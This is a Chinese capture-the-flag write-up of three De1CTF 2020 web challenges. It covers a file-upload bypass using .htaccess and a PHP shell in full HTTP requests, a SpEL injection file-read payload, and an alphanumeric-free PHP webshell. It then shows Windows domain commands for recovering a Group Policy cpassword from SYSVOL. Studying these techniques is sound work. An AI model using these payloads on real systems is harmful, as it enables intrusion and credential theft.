前言
題目品質很好,雖然很難但是學到不少東西!
0x01 check in
打開題目頁面如下:
題目是一個檔案上傳挑戰,于是先上傳一個.php字尾的檔案先式式,不出意料失敗,那麼我們就上傳一張.jpg的圖檔試試,結果如下:
perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents!
【——全網最全的網絡安全學習資料包分享給愛學習的你,關注我,私信回複“領取”擷取——】
1.網絡安全多個方向學習路線
2.全網最全的CTF入門學習資料
3.一線大佬實戰經驗分享筆記
4.網安大廠面試題合集
5.紅藍對抗實戰技術秘籍
6.網絡安全基礎入門、Linux、web安全、滲透測試方面視訊
大概的意思就是過濾了這些perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet
字元,而且我們上傳的圖檔不能解析,是以我們可以上傳一個.htaccess,添加其他字尾名解析為.php檔案。如:AddType application/x-httpd-php shell.ppt。不過由于php字元串的過濾我們上傳的檔案不能包含php,是以我們上傳的.httacess檔案中的php可以用換行符繞過,對于上傳了的shell.ppt檔案,如果該php開啟了短标簽我們可以用短标簽<?=來代替<?php,下面我們就來嘗試一下:
POST /index.php HTTP/1.1
Host: 129.204.21.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------279095805311502314111982965121
Content-Length: 384
Origin: http://129.204.21.115
Connection: close
Referer: http://129.204.21.115/index.php
Upgrade-Insecure-Requests: 1
-----------------------------279095805311502314111982965121
Content-Disposition: form-data; name="fileUpload"; filename=".htaccess"
Content-Type: image/jpeg
AddType application/x-httpd-p\
hp .ppt
-----------------------------279095805311502314111982965121
Content-Disposition: form-data; name="upload"
submit
-----------------------------279095805311502314111982965121--
結果如下:
HTTP/1.1 200 OK
Date: Mon, 04 May 2020 08:45:52 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 1027
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Cheek in</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="style/css/style1.css">
<link rel="stylesheet" type="text/css" href="style/css/style2.css">
</head>
<body>
<div class="wrap">
<div class="container">
<h1 style="color: white; margin: 0; text-align: center">UPLOADS</h1>
<form action="index.php" method="post" enctype="multipart/form-data">
<input class="wd" type="file" name="fileUpload" id="file"><br>
<input class="wd" type="submit" name="upload" value="submit">
<p class="change_link" style="text-align: center">
<strong></strong>
</br>
<strong>Your files :.htaccess<br></strong>
</br>
<strong>Your dir : uploads/001149b089f853aad2bda9214b94fb21 <br></strong>
</p>
</form>
</div>
</div>
</body>
</html>
上傳shell.ppt:
POST /index.php HTTP/1.1
Host: 129.204.21.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------279095805311502314111982965121
Content-Length: 376
Origin: http://129.204.21.115
Connection: close
Referer: http://129.204.21.115/index.php
Upgrade-Insecure-Requests: 1
-----------------------------279095805311502314111982965121
Content-Disposition: form-data; name="fileUpload"; filename="shell.ppt"
Content-Type: image/jpeg
GIF89a
<?=system('cat /flag');
-----------------------------279095805311502314111982965121
Content-Disposition: form-data; name="upload"
submit
-----------------------------279095805311502314111982965121--
結果如下:
HTTP/1.1 200 OK
Date: Mon, 04 May 2020 08:46:10 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 1027
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Cheek in</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="style/css/style1.css">
<link rel="stylesheet" type="text/css" href="style/css/style2.css">
</head>
<body>
<div class="wrap">
<div class="container">
<h1 style="color: white; margin: 0; text-align: center">UPLOADS</h1>
<form action="index.php" method="post" enctype="multipart/form-data">
<input class="wd" type="file" name="fileUpload" id="file"><br>
<input class="wd" type="submit" name="upload" value="submit">
<p class="change_link" style="text-align: center">
<strong></strong>
</br>
<strong>Your files :shell.ppt<br></strong>
</br>
<strong>Your dir : uploads/001149b089f853aad2bda9214b94fb21 <br></strong>
</p>
</form>
</div>
</div>
</body>
</html>
直接通路
http://129.204.21.115/uploads/001149b089f853aad2bda9214b94fb21/shell.ppt
得到flag:
De1ctf{cG1_cG1_cg1_857_857_cgll111ll11lll}
合天網安實驗室相關實驗:
繞過黑名單檢查實作檔案上傳1http://hetianlab.com/expc.do?ec=ECIDc089-d935-4f8d-b0bd-d2342ea4423f(通過本實驗了解檔案上傳漏洞産生的原因,掌握繞過黑名單實作檔案上傳的利用方法)
0x02 calc
題目打開是一個電腦,從打開的tab來看是一個使用spring boot架構的web項目。
通過抓包發現該
GET /spel/calc?calc=%7b%7b7*7%7d%7d
路由下存在SPEL注入,結果如下:
可以發現計算的結果是[[49]],是以存在注入。通過測試發現,過濾了
Runtime,java.lang,getClass,T(,new等,
對于new我們可以用neW來代替,但是由于過濾了前面的字元我們不能夠進行rce了但是我們可以用其他的方式讀取檔案。
使用的類參考連結如下:https://blog.csdn.net/yiyiwudian/article/details/46522415。
根據參考資料我們可以用java.util.Scanner來讀取檔案。payload如下:
neW Scanner(neW java.io.FileInputStream(neW java.io.File("/flag"))).nextLine()
最後的結果如下:
實驗推薦
Springboot未授權通路http://hetianlab.com/expc.do?ec=ECID07d9-3ccd-4c90-8a09-b980d8cd7858(通過該實驗了解漏洞産生的原因,掌握基本的漏洞利用及使用方法)
0x03 Hard_Pentest_1
題目源碼如下
<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}
function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);
if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>
<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
由于Check()函數的過濾,我們不能使用普通的字元,并且不能上傳字尾為.php的檔案,不過由于伺服器是windows是以我們可以通過NTFS流的方式繞過字尾名的限制::$DATA,例如下面的檔案名:
test.php::$DATA
參考無字母數字webshell之提高篇((https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html))來構造我們的無字母的shell。
<?=$_=[]?>
<?=$_=@"$_"?>
<?= $_=$_['!'=='@']?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$___=$__?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$___.=$__?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$___.=$__?>
<?=$__++?>
<?=$___.=$__?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$___.=$__?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$___.=$__?>
<?=$____='_'?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?= $____.=$__?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$____.=$__?>
<?=$_=$____?>
<?=$___($_[_])?>
上傳我們的代碼:
成功getshell:
通過system寫入一個一句話木馬,例如:
現在我們使用禦劍來連接配接我們的shell,密碼是a。
在禦劍中打開檔案管理,可以看到flag是在flag1_and_flag2hint壓縮包裡,但是我們沒有密碼,而且爆破是不成功的,是以我們考慮windows滲透:
1.我們檢視我們所在的域net time /domain,結果如下:
從上面的結果中可以看到我們所在的域是dc.De1CTF2020.lab。
2.使用ipconfig指令來檢視域控:
從上面的結果來看我們的域控是192.168.0.12。
3.拿到域控的共享檔案夾,找到組政策。
net use \\192.168.0.12
net view \\192.168.0.12
net use S:\\192.168.0.12\wq
回車後即可映射區域網路内目标機器的S盤。
或者直接通路net use \\192.168.0.12\SYSVOL\de1ctf2020.lab\Policies也行随你高興
結果如下:
4.找到組政策下本地管理者儲存登陸密碼的Groups.xml檔案:
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}"><Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/></User>
</Groups>
該密碼是AES-256加密,微軟提供了密鑰https://msdn.microsoft.com/en-us/library/cc422924.aspx,直接解開即可,或者使用kail自帶的gpp-decrypt解密,結果如下:
5.解壓壓縮包拿到flag:
0x04 參考連結
https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
禦劍使用方法
域滲透——利用SYSVOL還原組政策中儲存的密碼
DOS下通路區域網路内共享檔案夾
https://zhuanlan.zhihu.com/p/26781760
Windows域環境及域滲透
https://github.com/l3m0n/pentest_study